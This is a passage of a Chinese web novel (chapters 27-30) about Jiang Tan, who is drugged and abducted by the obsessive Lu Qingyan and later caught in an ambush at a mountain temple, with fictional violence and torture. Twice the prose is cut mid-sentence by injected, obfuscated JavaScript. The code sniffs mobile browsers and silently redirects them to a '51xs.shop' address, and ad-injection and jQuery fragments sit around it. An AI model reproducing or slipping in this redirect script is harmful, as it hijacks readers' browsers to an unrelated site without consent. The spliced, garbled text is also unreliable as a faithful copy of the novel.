“定个日子,咱们一道回去,这天香馆的饭菜住处也忒贵了,成亲得花不少银子呢!” 雅间内,陆青檐捏着笔,几下就画出一个栩栩如生的人来。 “不管你用什么手段,照这个模样捏脸出来,眉眼不像的,就给我仔细地修!” 说着,他将堆成小山的金银推到老汉面前。 “是是。” 老汉将吃饭的家伙什都掏出来。 捏面人用的材料,走江湖画的油彩,还有女儿家用的胭脂水粉,能用的全用上,杂七杂八地,俱都糊在婉儿的脸上。 约莫半个时辰,脸已初见端倪。 陆青檐的脸色却越来越难看。 下人找来了和当年一模一样的衣服,给婉儿穿上去,还特意将女儿的特征隐去。 隔着一道若隐若现的屏风,陆青檐紧盯着后面的人裹胸,束腰,最后穿上了垫高身量的靴子。 一模一样的身形。 陆青檐屏住呼吸。 屏风后的人紧张地扶了扶网巾,慢慢走了出来。 死一样的寂静。 “少爷。” “你叫什么名字?” 婉儿想起了先前的交代,这贵公子是要排戏么?最终还是奇怪地答道: “学生姜昙。” 话说出口的那一刻,坐在远处的陆青檐豁然起身。 27. 第 27 章 将施母安置在客栈后,姜昙和施茂林相携而去。 紫珠知道今天是大日子,默默地说:夫人,姑娘找到如意郎君了。 见他们气氛正好,紫珠让车夫赶车快一些,在远处等姜昙走过来。 姜昙沉默着走在施茂林身边。 夜风吹拂,那边时不时有即将散尽的香味吹来,再过一刻钟,这户味道彻底无影无踪了。 姜昙知道,自己不该怀疑他。 “茂林,你今日迟迟不来,是有什么事耽搁了吗?” 施茂林身形有一刻僵硬,随即笑了:“没有啊,只是武馆到郊外去练拳,我要赶回来,花费的时间长了些。对了——” 施茂林从胸口掏出一盒胭脂:“你是不是闻到这股香味了?瞧,烟霞坊新进的一批胭脂膏子,这一盒最贵。你爱抹脖子,以后就用这个吧。” 姜昙下意识摸了摸脖颈。 这几日疏忽,想不到施茂林竟能看出来。 是她多心了。 “嗯。”姜昙笑着收下。 施茂林落后一步,姜昙想起要问他如何安排行程,刚转身,却发现施茂林不见了。 附近是一处漆黑的深巷。 “茂林?” 姜昙对巷子深处唤了一声,没有回应。 巷子黑洞洞的,犹如巨兽的大口,里面传来一声闷哼,仅一声就停止。像是没捂紧的盖子漏了股风,迅速被人拧紧。 “茂林?你在里面吗?” 依旧无人应。 姜昙弯腰从腿弯取出随身的匕首,藏在袖子里,轻声往里走去。 踏进黑暗的第五步,姜昙察觉背后有什么气息,顿住脚步,待那人靠近,猛然向后刺去。 刺中了! 不对,不止一两个人!她没有还手之力。 短短一瞬,姜昙心中闪过这个想法,同时迅速往巷口跑,可是已然来不及。 脚下有什么绊了她一下,姜昙摔在地上。未等她反应过来,绳子已绕过她的手腕,结结实实地将她缚住。 六到八人,其中有一个高手。 眼睛被黑布蒙住。 姜昙察觉到有一群人看着自己。 她扬声道:“诸位朋友,在下与诸位无冤无仇,诸位怕是抓错了人。我是扬州陆府的客人,若不回去,陆府会派人来找我。而且,扬州府入夜有巡捕,这个时间此巷子的四处都有巡捕游走。我劝诸位快快离去,这件事可以当未发生过。” 黑暗的巷子中,只有斜照的一缕月光。 月光之下,静立着一人。 分明闷声不吭,只冷眼看着这一切,却有种山雨欲来的架势,让人住摸不透他的心思。 黑衣人询问地看向陆青檐,他背光站着,看不清脸色。 黑衣人只好继续说:“没找错,我们是姜大人的仇人。抓不到他,于是抓你。” 姜昙仔细听着,此人的音色刻意压低,像是有经验的。 姜昙仔细回想着,姜清源招惹的是锦衣卫,这些人就算不是锦衣卫,也与他们有关系。 思索一瞬,姜昙说道:“我与姜大人早就形同陌路,三年来我一直住在山上,为祖母守孝。诸位尽可查证,他做的事我一概不知。你们要找,应该去找盐城姜府的大夫人……” 姜昙自以为说的很有条理。 传闻中,锦衣卫虽然睚眦必报,却也恩怨分明,尤其在这一代指挥使在位期间,少有滥杀无辜之事。 可她不知道,抓她的并非锦衣卫。 陆青檐死死盯着她。 看着她滔滔不绝地辩解,看着她不经意地侧耳听动静,仔细分析着他们的身份。 看似是病怏怏的弱女子,实则在腿上绑了匕首,未婚夫骤然失踪,她竟然独身进巷子来。 不愧是他。 陆青檐忍不住向前几步。 姜昙忽而顿住,她听到了一阵脚步声,缓缓接近自己。 周围的人呼吸压低了些,此人应是首领。 “首领大人……” 姜昙正要开口解释什么,忽然有掌风劈在肩上,口鼻间捂上一片布巾,那是迷药的味道。 此人的手段可谓谨慎。 姜昙晕了过去。 . 陆青檐坐在椅子上。 夜幕降临,熟悉的头痛来袭。 陆青檐一点也不想喝酒,反而越来越清醒。 他摩挲着手上的佛珠,因为久被人盘弄,佛珠参差不齐的边缘已然变得圆润。 这三年来,每次他痛恨一个人不能自已时,就靠这串佛珠撑过去。 旁人说他有佛性,殊不知午夜梦回,他手中数着佛珠,抬头看着佛堂的菩萨,都是姜昙的模样! 他数啊数,数啊数,不想数了三年,手中的佛珠竟是假的! 真正的佛珠在这里—— 陆青檐来到地上沉睡的人身边,摸了摸姜昙的头骨。 真正的佛珠在这呢。 他一一抚过姜昙的眉骨,鼻骨,沿着脖颈往下,按到了两处温热的柔软。 碍眼。 “来人。”陆青檐说:“叫那对卖唱父女来。” . 婉儿微微挡在父亲的身前,每当他爹落下一笔,那位贵公子的脸色就阴沉一分。 吓得她爹手都在抖。 婉儿起初也吓了一跳,进门就见两具尸体,哆哆嗦嗦地下手,却发现尸体是活的。 可尽管如此,他们的行为看起来还是像在给亡人入殓。 而那边的贵公子,虽然还活着,却比地上的人更像死人,幽魂一般坐着。 老汉的工作做完,率先出去,轮到了婉儿。 见贵公子没有回避的意思,婉儿只好继续动作。 将这名女子的外衣脱下,只留下一件抹胸即可。胸口用布裹得平整,细腰也用布遮掩住曲线,随后穿好准备好的男子衣服。 又一个“姜昙”。 完成之后,婉儿退出去,要见那贵公子来到“姜昙”身边,低下了头,双颊一红,不敢再看了。 . 陆青檐仔细看着姜昙。 眉眼长开了些,与记忆中十七岁的姜昙慢慢重合。 “果然是你啊。”陆青檐放声笑着:“我找了你这么久,翻遍了整个吴江,原来你在这!” 原本,听到丁银翠的消息,他打算大发慈悲,放了陆府这个寄人篱下的孤女。 毕竟,吴江的姜昙更重要。 可没想到,这两个人竟然是同一个人! 难怪从第一次见面,他就对她腰间的杜衡香印象深刻。 现在想来,在吴江时,她就时常挂着这种药囊了。 他早该发现是她。 陆青檐面色扭曲着:“姜昙,原来你在这!原来你不喜欢惩恶扬善了,原来你变成女人了!我说我怎么找不到你!” 杀了她!杀了她!!! 恨之入骨的人就在眼前,只要一伸手,就能掐死她。 陆青檐双手握住姜昙的脖颈,和梦中的触感不一样,掌中温软细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13726286|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腻,脉搏有力地一下一下挣扎着。 他双手用力,姜昙的脸上出现了和梦中一样的痛苦神色。 姜昙的脖颈收紧,狰狞的疤痕凸起,像一条悚然欲活过来的蜈蚣,刺得陆青檐手掌疼。 “不,不能这么便宜了你。” 陆青檐骤然松手。 姜昙胸口剧烈起伏,挣扎着想要睁开眼睛,终究抵抗不住药力,沉沉睡去。 陆青檐踢了一脚施茂林的身体。 他想起姜昙屡次三番说起的愿望——我与未婚夫,只想做一对普通人。 “我过得如此痛苦,你却过得如此舒坦。这世上怎么能有如此不公平的事?” 陆青檐讽刺地笑了一声:“想过普通人的日子,哪有那么容易!” 陆青檐说:“姜昙,你等着。除你之外,你身边的每一个人,我都不会让他们好过。” . 姜昙头痛欲裂。 紫珠推门而入,外面已是白天:“姑娘,昨日你何时回来的,怎么不告诉我一声,睡得那样沉。” “昨日我……” 姜昙回想着昨日发生之事,她分明昏过去了,是怎么回来的? 手心里似乎有个纸团,姜昙将纸团摊开,那上面写着—— 事已查明,与尔无关。 姜昙忿忿把纸团揉烂了。 看来锦衣卫抓错人了,不过就凭一句纸条就将他们打发了?那她受到的袭击算什么! 不过,再愤怒也只能按下,锦衣卫毕竟号称朝廷鹰犬,不招惹为妙。 姜昙问:“茂林可有来过?昨日要问他行程打算,决定哪一日离开呢?” 紫珠摇头。 那就是还要在陆府待几日。 姜昙忽然想起陆青檐来,问紫珠说:“陆少爷可在府中?近几日都未见他。” 紫珠说:“陆少爷似乎有事出了远门,听说一时半会回不来呢。” 那就好。 不要再撞上就好了。 脖颈有些刺痛,姜昙摸到那条疤痕,莫名心慌。 思来想去,她觉得不能留在陆府。深吸一口气,她决定:“我们收拾东西,去外面住客栈去。” 她与紫珠挑了一家离扬州府衙最近的客栈住下,暂且交了两日的房钱。 坐在客栈的床上,姜昙的心才安定下来。 她梳理着自己的嫁妆单子,添添改改,有些首饰在婚后带出去太过招摇,不如变卖成银票存起来,有事可应急。 晌午用过饭,施茂林的口信儿跟着递过来—— 寒山寺相见。 姜昙之前提过一句,没想到施茂林竟记得。 寒山寺是扬州有名的佛寺,扬州百姓惯常往寺里求学子前程之事。此外,山上斋饭和明月潭最为出名,若去一趟寒山寺,必定要过夜的。 姜昙于是准备一些衣物,带上紫珠在寒山寺等候。 可没想到,施茂林来得更早。 他背对姜昙站着,似乎在低头看石缝中一株坚韧生长的野草。 姜昙蹑手蹑脚地走过去,跟着他看了会儿,蓦地伸手捂住了他的眼睛。 他们鲜少做这样亲密的举动,施茂林一定会吓住。 姜昙想到他的反应,险些笑出声。 “猜猜我是谁?” 施茂林想转身,姜昙按紧了手掌,服帖地盖住他的鼻梁和肌肤,触手温热。 ……他不是施茂林! “嫂嫂。”背对她的人伸手,捏住她的手腕:“你认错人了。” 28. 第 28 章 这声音,是陆青檐! 姜昙一惊,连忙抽回手。 陆青檐顿了片刻,才转过身来看着姜昙。他脸上浮现歉意:“昨夜我借住在施兄的住处,借穿了他的外衣,真对不住。” 姜昙这才发现,陆青檐身上的衣服,和施茂林惯常穿的衣服一模一样。 故而她才认错了人。 “是我对不住,我认错人了。”姜昙不动声色走远了些。 寒山寺山脚行人寥寥。 山下有供香客歇脚的亭子,陆青檐坐在亭子的角落里,姜昙站在亭子外。 两人一坐一立,沉默无话。 姜昙在心里默默数数,数到第三十二,紫珠终于上来了,看见陆青檐,也是一怔。 “姑娘,不是说施公子约的你吗?怎么陆少爷也在?”紫珠耳语。 姜昙微微摇头—— 陆青檐坐的不远,别让他听到了。 亭中,陆青檐专注地翻着随身书册,未曾分一个眼神过来,应当是没听到的。 姜昙看向下山的路。 施茂林不在,她不愿与陆青檐独处,他想离开。 “嫂嫂。”陆青檐忽然开口唤道。 姜昙心中一紧,幸而陆青檐只是从亭中站了起来,并未靠近。 “怎么了?” 陆青檐疑惑地看着她:“嫂嫂怎么不上去?施兄他们在半山腰等你。” 姜昙简直气绝:“你怎么不早说?” “你又没问。”陆青檐指了指下山的路:“我在此处等友人,我以为嫂嫂喜欢山脚的风景,故而在此逗留。” 姜昙半晌无语。 她头也不回,带上紫珠往上山去。 往上走了许久,她转头看山脚,亭中来了几道人影,陆青檐果然在等人。 他到底是不是故意的? 山脚亭中,陆青檐神色疏离收回视线。 他脚边是一个大箱子,说是箱子,不如说是棺材。里面装着血肉模糊的一个男人,虾子一样蜷缩在里面。 若不是能听到微弱的呼吸声,倒教人以为,他已经死了。 “幸而你还有点用。” 下人递过混着盐粒的辣椒水,陆青檐浇在男人的伤口上,男人身体颤抖,却一声不吭。 陆青檐蹙眉。 邓显连忙道:“此人先前受刑已经力竭,眼下是想叫却叫不出来了。” 陆青檐脸色这才好些。 阶下囚若不能痛哭流涕,算什么阶下囚。 “别让他死了,这几日就靠他吸引那些忠心的奴才来,到时候一网打尽,一起折磨。” “是。” 下人为陆青檐整理好衣襟,任由他一人上山,其余人等皆弯腰恭敬送行。 待他走后,邓显叹气,对箱中人说:“你若是惨叫出声,也不必受这么多苦。” 箱中人一动不动,一声不吭。 邓显啧了一声:“不愧是锦衣卫,骨头比旁人硬上许多。但愿你能发挥作用,别让长公子失望。带他上山!” 下人盖上盖子,外面看来,这就像一个普通的箱子。 几人伪装成脚夫,从另一条小路,抬着箱子上山。 . 施茂林在半山腰等候已久。 见了姜昙便迎上来:“方才在山脚有官兵封山,不许人在山脚逗留,我只好在半山腰等。不过我还遣了一名脚夫替我传话,现在看来幸好,那脚夫没有食言……” 姜昙将话咽了下去。 她一路上来,并没有见到官兵封山,只遇见过陆青檐。 也并未见到施茂林说的脚夫,只听到过陆青檐传话。 不过现在说这些,好像也并无意义。 姜昙问:“你那日是怎么回去的?” 施茂林紧挨在她身边,紫珠很有眼力见地走远,不远不近地跟着。 “你不是托人传话给我,自己先行回去吗?” 施茂林回想着那日的情形,他中间似乎晕了片刻,可再醒来时身体并无异常,还在原地。 习武之人,往常也有热晕的,施茂林不以为意。 反倒是姜昙,为何他醒来之后,便不见她的踪迹? 闻言,姜昙猜测:那日或许只有自己清醒,施茂林是被误伤,故而被迷药迷晕了过去。 那些人只是冲着她姜家女儿的身份来的,事情调查清楚后,便离开了。 万幸。 此刻,姜昙的鼻子抽动,忽然打了个喷嚏。 “怎么了?可是得了风寒?”施茂林从衣襟摸出一条干净的汗巾来。 这是他的习惯。 因为整日习武,浑身脏兮兮的容易出汗,姜昙就缝制了一条汗巾给他。施茂林收到后的第二日,也拿出了一条汗巾,用他的刀裁得整整齐齐。 他说:“一条给我,一条给你。你不似旁人家的女儿,惯常不爱用手帕,所以这一条放在我这,给你备着。” 他一直记得。 姜昙有些感动,将汗巾拿过来,正要说些什么,又打了个喷嚏。 汗巾上有一股甜腻的香气。 和那日他送的胭脂水粉,是同一种味道,且更浓郁。 他又买了胭脂吗?还是……这汗巾给旁人用过? 施茂林笑的一如往昔,一副真挚的模样。 或许她多想了。 兴许是那日买的胭脂沾上的气味。 “青檐!”施茂林朝姜昙身后招手,陆青檐上来了。 现在施茂林已经知道,那日的事都是误会。他本该向青檐道歉的,可因为心有芥蒂,一直拖着迟迟未去。 后来是青檐主动寻他,向他说明事情原委,反而向他道歉,还给他带了礼物赔罪。 施茂林并非小肚鸡肠之人,误会说开了就好了! 两人喝了酒,说了半宿的话,施茂林和他的情义反而更深了些,比与陆昂的情义还深! 施茂林一直以为,这些富家子弟们面上虚伪,实则吃不得苦受不得累,娇气的很。 可青檐却不一样,他竟愿意穿他的衣服,眼中没有丝毫嫌弃之色。 青檐是真心把他当朋友的。 “施兄。”陆青檐又向姜昙拱手:“嫂嫂。天色渐晚,我们这就上山吧。” “走!”施茂林一把揽住陆青檐的肩膀,两人并排而行。 姜昙不自觉退下来,离陆青檐远一些,跟在两人后面。 两人说说笑笑。 大部分的时候,都是施茂林说,陆青檐应和或是笑。令人惊讶的是,施茂林说的乡野之事,他都能搭上话,连武馆的事也知道不少。 这位陆少爷在家族中,想必也是长袖善舞的人物。 陆昂在山顶等他们,带着陆府的一些小厮、丫鬟,粉黛竟也跟着。 姜昙看一眼陆青檐的背影,微微放下心来。 粉黛在就好了。 陆昂催促几人:“快些上来,真是等你们好长时候。” 一行人进了寒山寺的大殿,才看到几个和尚。 趁几人上香跪拜的时候,姜昙找到门外的主持问道:“为何一路上山不见外人,寺里也无几个香客?” 寒山寺分明是扬州府有名的寺庙,按理不该这么冷清。 主持正要答话,一人在背后说:“今日官差封山,拦住了大半香客。幸而我与衙门的捕快熟识,便请他行个方便,让我们进来。” 陆青檐走到主持身侧,娴熟地行了个佛家弟子的礼。 陆青檐道:“至于寒山寺为何这般冷清,我想是师父们今日洒扫的缘故。” 姜昙默不作声,只听主持解释。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730206|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >主持点头说:“施主所说正是,每隔一段时日,寒山寺便会清扫大殿,以保佛祖座下灵台清明。” 姜昙点头:“原来如此。” 她转身去蒲团上跪拜,陆青檐在她身侧跪下,跟着跪拜。 “嫂嫂。”陆青檐看着佛祖,低声说:“你是否对我有不满之处?” 姜昙顿了顿:“没有。” “那就好。前些日子我中了药,余毒未清,若是做了什么,请嫂嫂不要见怪。若有冒犯之处,青檐万死不辞,听凭嫂嫂处置。” 陆青檐说:“嫂嫂要怎么罚我,陆青檐任凭处置。” 姜昙双手合十,跪于佛前。 又听陆青檐说:“我在家中时,父亲常教导我与人为善,故而我生平最爱乐于助人。” 姜昙闻到一股檀香,睁开眼,眼前递过来一支檀香,正袅袅地冒着轻烟。檀香之上,是一截惨白的手腕。 陆青檐的腕上缠着一串佛珠,行动间掉出袖子,在半空中微微地晃。 这佛珠……似有些奇怪。 默然片刻,姜昙接过。 “多谢。” 陆青檐露出一抹笑意,仿佛放下了一副心上重担:“不客气。嫂嫂若有什么问题,尽可来问我。” 他靠近她,仿佛就只为解释这件事,解释完就离开。 门口粉黛正等着他,对陆青檐莞尔一笑,佯装恼怒指着他:“怎么回事?方才叫你陪我去看明月潭,一转眼就不见人,我要罚你。” 陆青檐取下她手指间的帕子,笑说:“明月潭是晚上看的,白天瞧有什么趣儿?” “我不管,就要去!” “好好。” 背过身,陆青檐一副无奈的语气。 一直到晚上,姜昙都没有再见过陆青檐。 分住处时,因为寺里没有其他香客,客房都给几人住,一人一间。 姜昙特意住在女院最远的位置,离得远远的最好。 紫珠吹灭灯笼,放下姜昙枕边的帐子:“姑娘,我就在隔壁,有事可叫我。” “快去睡吧。” 姜昙躺下闭眼休息,门被阖上。 不知过了多久,姜昙感觉有些冷。她拥紧了被子,忽然察觉到面上吹来一阵风。 “谁!” 姜昙蓦然睁眼,手摸向枕下匕首。 门依旧是紧闭的,屋内一片漆黑,只有窗户那处透着外面的夜色。 没有人,只是窗户被风吹开了而已。 姜昙放松下来,下床去关窗户。 今夜起了风,夜格外地黑,天上乌云密布。别说月亮,连星星都没一颗。 姜昙想起白日粉黛的话,明月潭今夜漆黑一片,怕是看不成月亮了。 这样的夜色,走在屋里都要绊跟头。 姜昙在盐城时,大夫人苛待她,连油灯也不许点,因此姜昙在黑暗中摸索时,摔过不少次。有一次甚至摔破了脑袋,鲜血像断了线的珠子,大颗大颗地往外冒。她甚至不知道自己摔破了脑袋,直到闻到血腥味才反应过来。 现在她已熟能生巧,在这样黑的夜里走到床边,也不会绊跟头摔出血来。 可是,她怎么又闻到血腥味呢? 姜昙悚然握紧了匕首。 窗户不是被风吹开的,是被人推开的。 那个人现在就在屋子里藏着。 意识到这的一瞬间,背后措不及防扑上来一个人。 “不要出声。”是陆青檐! 陆青檐的手掌压在姜昙唇上,他的佛珠一直不曾离手,此刻圆润的珠串挤在手掌与唇间,甚至硌到了姜昙的牙齿。 陆青檐捂得很紧。 他似乎受了伤,喘息着说:“门外有杀手,别出声。” 姜昙的匕首已然出鞘,狠狠刺入了陆青檐的胸膛。 29. 第 29 章 陆青檐闷哼一声,整个人的重量压在了姜昙肩上。 不过也就是一瞬的工夫,他忽然生出力气,生生将胸口的匕首拔出,塞在姜昙怀里。 在姜昙愣怔之际,他在她肩上按出一双血印来,重重地将她推进床底。 “躲起来。” 姜昙茫然无措地躲进了床底,陆青檐流了半身的血,终于支撑不住仰面倒下来,眼神正与床底的姜昙对视。 陆青檐看了姜昙一眼,忽然拂过袖子,遮住了床底的大半视线。 他身上穿着的是广袖深衣,世家公子哥郊游踏青的装扮,一身清白。此刻却染了半身刺目的红色,在黑暗中也很是骇人。 也正是在此刻,门被撞开,喧嚣的风雨声涌入屋内。 姜昙听到了由远及近的脚步声,紧接着看到了几双沾着泥水的官靴。 是官府的人! 一人说道:“陆公子,跑是没用的,这不是又抓住你了吗?咱家大人只是想邀你喝口茶而已。” 陆青檐仰面嗤笑:“滚。” 姜昙心想,他不怕死吗?竟敢这么挑衅杀手? 果然下一刻,一只沾着泥水的官靴微动,在陆青檐的伤口处碾了碾,陆青檐浑身颤抖了起来,四肢不住挣扎。 可陆青檐的脸上,并没有多少痛苦的表情,反而一脸平静。 那人说:“陆公子是准备好上路了吗?” 姜昙缓缓捂住嘴,不让自己出声。忽然,她发现宽大的衣袖之下,陆青檐似乎在指着什么。 顺着他指的方向,姜昙摸到了地上的一块石砖,按下去的瞬间,身体陡然失重。 是密道! 姜昙将匕首紧握在手心,并没有遇到什么危险。 她捡到一根树枝,支撑着自己的身体,一步一步走出密道。 密道的尽头是佛寺的小竹林,姜昙白日来过,她知道只要沿着竹林中的石板路,走上约莫一刻钟,就能到施茂林的住处。 这些杀手们人数有限,目标明确,且来得悄无声息。 姜昙与这种人打过交道,他们不会伤害多余的旁人,那样会给自己的行动带来麻烦。 所以,她可以装作什么都没发生。 只要等到杀手的目的达成,等到天亮就好了。 反正那些人不是来找她的,而陆青檐与自己甚至算不上萍水相逢。 与他的相处中,她能窥见某些他不可宣之于口的心思和算计。 他不是个坏人,但对她来说,也不算是一个好人。 她想做一个普通人,最该远离这些似是而非的好人。 姜昙想,她不该理会他的死活。 . 雪白的刀刃高高地悬到半空,倒映的寒光晃过陆青檐的双眼。 陆青檐的脸上仍是一副满不在乎的模样。 这些杀手的耐心告罄,他不屑的态度更是惹怒了他们,杀手们决定杀掉他。 但杀手们并没有看到,房梁之上,窗户暗处,蛰伏的护卫蓄势待发。 只需陆青檐一句话,这些身经百战的护卫们就能跳出来,将杀手们立即击杀,或是教他们求生不得、求死不能。 可陆青檐看着虚空,丝毫没有要发号施令的意思。 暗处蒙面的刘武有些急了,可陆青檐不下令,谁也不能动手。 就算眼睁睁看着长公子被剁成碎块,也不能动手。 陆青檐似乎在想什么,这个时候,他竟有心思想别的! “咻!咻!咻!” 三只箭精准地射在杀手们脚边。 领头的杀手富有经验,这箭矢的距离设计得分毫不差,可以射在他脚边,下一次可以射穿他的脑袋。 他伸手来抓陆青檐,下一刻,一只箭矢从他手边射过去,死死钉在地面上。 这是遇到箭术高手了! 领头的杀手终于提起警惕来,这才发现周边的气氛早已不一样。暗处里似乎藏着什么危险的东西,随时都可能扑上来。 “撤!快撤!” 杀手们一哄而散。 陆青檐听到动静,看向门外,姜昙握着弓箭,从黑暗中现身。 “不是让你走吗,你怎么回来了?” 姜昙看着陆青檐,顿在门口:“你在笑?你不会是早就知道我要回来?” 她的心中忽然生出一股凉意。 陆青檐的笑容顿住。 姜昙看到他这幅模样,心中更是发寒,默默握紧弓箭。 下一刻,陆青檐毫不掩饰地笑开: “不,我不知道你要回来。” 他微微侧过头去,不让自己暴露更多的情绪:“我只是在想,死前会不会有人来救我。可我思来想去,竟找不到任何一个能救我于危难之中的人。我一边放弃期望,可一边又忍不住想,要真的能有一个人来救我就好了。” 陆青檐看着姜昙:“好人总是会救人于水火,嫂嫂真是一个好人。” 陆青檐意味深长地说。 姜昙握着弓箭的手松了松,她想起自己小时候。 母亲去后,在被人欺负的时候,她也总期望着,母亲会不会死而复生,忽然从天而降帮她报仇呢? “让我看看你的伤。” 陆青檐坦然地任由姜昙查看,当然,或许是因为他已没力气挣扎了。 姜昙发现他胸前后背,有被刀刃割伤的数道伤口,其中最为严重的,还要数胸口她插的那一道伤口。 “我会死吗?” 不等姜昙回答,陆青檐笑说:“我应是不会死的。我爹总说我是孽种祸胎,听说祸害遗千年,我现在还能说话,应该是不会死的。” 姜昙不知道该怎么回答。 他的致命伤,甚至不是那些杀手给的,而是她的手笔。 方才插下去时没有感觉,因为陆青檐的表现也并未有多么严重。眼下查看才发现,那一刀是真能要了他的命。 而他们并无恩怨往来,反而是她欠了他的。 陆青檐看到姜昙手边的弓箭,眼中闪过一丝冷意,口中夸赞道:“嫂嫂好精妙的箭术,什么时候能教教我?” 姜昙丢开了弓箭,她彻底对他放下警惕。 “你可以站起来试试。” 姜昙搀了他一把,陆青檐喘息着勉强站起,看起来并无异样。 就在姜昙稍微放下心来时,陆青檐忽然说:“嫂嫂,我告诉你一个秘密。” “我有眼疾,眼下看不见了。” 说完这句话,陆青檐眼前一黑,整个人向前倒去。 姜昙措不及防地接住他,摸到了一手的粘腻血腥。 从他受伤到现在,大概过了一刻钟,而他的伤口一直在流血,连身体都是凉的。 只有血是热的,像是怎么也流不尽。 “我去叫紫珠来帮忙!” 陆青檐的声音听起来虚弱无力:“没用的,她一定被迷晕了。那些杀手行动前,不会伤旁人,却会吹迷香到每一个屋子。闻到这种香的人,只有到天亮才会醒来。” 姜昙浑身僵硬地扶着他的肩膀,避开他在耳边的热气。 “那怎么办?” “倒是有个好办法。我不能视物,行动不便。那些杀手不知何时折返,此处是危险之地。故而——” 陆青檐睁开眼睛,黑暗中紧紧凝视着姜昙面上的神情,不放过一丝一毫的变化。 “你把我丢弃在此吧。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >姜昙沉默片刻,似乎真的在思考这个提议的可能性。 陆青檐的脸色逐渐阴沉,在姜昙推开自己起身的那一刻,面上难看到极点。 暗处藏匿的护卫握紧剑柄。 陆青檐悄然摸上袖中钢丝兵刃的那一刻,面前忽然多出一根木棍。 “什么玩意儿?” 姜昙看到陆青檐面上些微的嫌弃之色,连忙将木棍上的泥土擦干净。 “门外树上折的,不脏。” 姜昙不知道方才她那三箭威力有多大。 杀手随时会折返,她留在此处,杀手不认识她,还有几分生机,而陆青檐必死无疑。 他们必须一起走。 姜昙托起陆青檐的身体,将他的胳膊绕过肩膀,将木棍塞给他。 “你用这个支撑身体,我带你离开这。” . 陆青檐实在太沉,姜昙停下步子:“我歇一下。” 陆青檐侧头看着她。 他分明看不清楚,偏要凑近看。 姜昙知道,有些失明的病人习惯如此,虽知道他不是故意的,她还是不适地离远了些。 却也不能离太远,陆青檐没有支撑,怕是会摔倒。 陆青檐看了她一会儿:“嫂嫂累不累?” 他忽然说:“山路崎岖,天黑路滑,你说不定会摔下去。而我是个瞎子,现下又没多少力气,更是你的拖累。” 姜昙默不作声。 陆青檐又说:“杀手们行动迅捷,若是折返也能很快追上你我二人,届时又多一条刀下亡魂。” 姜昙依旧不作声。 陆青檐又道:“嫂嫂,你已定亲,我也将有婚约,男女授受不亲。你这么扶我,施兄难免多想,被他知道,怕是伤我们兄弟情谊。” 姜昙终于开口。 “你身上的伤是我所致,所以我不会放任你一人在此。而施茂林通情达理,我与他这么多年,了解他的性子,他更加不会计较这些。” 听到第一句时,陆青檐露出一丝笑。 而听到第二句时,陆青檐嘴角的笑变淡了些。 姜昙并没有注意到这些,继续说道:“倒是你……” “你一直在让我抛弃你。陆公子,你是被人放弃过,故而有了心理阴影么?” 陆青檐嘴角的笑意消失了。 姜昙松开了搀扶的手,淡淡地说:“姜妙仪不是合适的试探对象,陆公子找错人了。” 她看向门口提着灯盏等候的粉黛:“到了。” 姜昙见了个辞行礼:“你身上的伤口我已应急处理过,寺中备有上好的止血药和疗伤药,你按时敷用即可。” 陆青檐忽地一笑。 “你说的对,是陆某失了分寸,下次不会如此了。” 陆青檐说:“嫂嫂洞悉人心,开解青檐,真是一个好人。陆某会回报你的。” 除了施茂林那一层之外,姜昙并不希望与他扯上别的关系。 陆青檐又问:“不过嫂嫂,你那边住处偏僻,我这里的别院宽敞,今夜不若带着你的侍女到这里来住。” 姜昙拒绝:“我不喜欢宽敞的别院,去茂林旁边的院子即可。” 半晌,陆青檐才缓缓而笑:“你说得对,施兄那处最安全。” 姜昙走后,陆青檐脸色陡然沉下来。 他不理会来奉茶的粉黛,大步踏进屋子。 粉黛深知他的习惯,只在屋子里点了一盏灯,不敢进屋,远远地站在屋子外面。 不多时,粉黛不得不开口: “庸少爷,寺中的主持在外面候着,说是受姜姑娘所托,来为您疗伤。还有她熬的汤药……” “叫他去死!” 30. 第 30 章 陆青檐将手边的一本书砸过去,屋内唯一的一盏灯灭了。 屋中黑漆漆的,像是张着大口的巨怪。 粉黛吓了一跳,连忙吩咐人把主持送走。 但思来想去,那碗汤药终是不敢碰,妥贴地放在门口。 陆青檐眼前一阵发晕。 他按着额头想,今晚或许不该提前服那些药的,那些药物只能让他在夜间,恢复一时的视力。 待药效过去,眼睛发疼,头更是疼得要命。连同脖子上的刺伤,也一起疼了起来。 黑暗之中,陆青檐无悲无喜,流下两行清泪。 他伸手擦了擦,忽觉一股浓烈的血腥之气。低头一看,视野中血红一片,胸前裹缠伤口的布条早已被血洇湿。 而他不知何时用手扯松了那布条,沾了满手的血腥。 擦泪之时,血痕也留在面上。 好想杀人。 陆青檐摇晃着站起来,去摸墙角的月杖。 他拖着灌了精铁的月杖,在屋子里躁动不安地走着。 “把方才那群废物给我抓过来!” 山上有冷风吹来,粉黛打了个寒噤。黑暗之中,她察觉到有什么动静,倾巢而出。 或许是山野中的什么野兽。 这一夜,大雨倾盆,天河决堤。 噼里啪啦的雨声掩盖了山上的一切动静,包括本该划破长空的惨叫。 天将明时,陆青檐才从屋子里走出来。 粉黛迷迷糊糊地睁开眼睛,待看清陆青檐模样的那一刻,恍若惊觉这雨夜的寒意,牙齿战战。 “庸、庸少爷。” 陆青檐面色惨白,如游魂一般,眼下有两行血泪,半脸却都是飞溅的血痕,简直骇人。 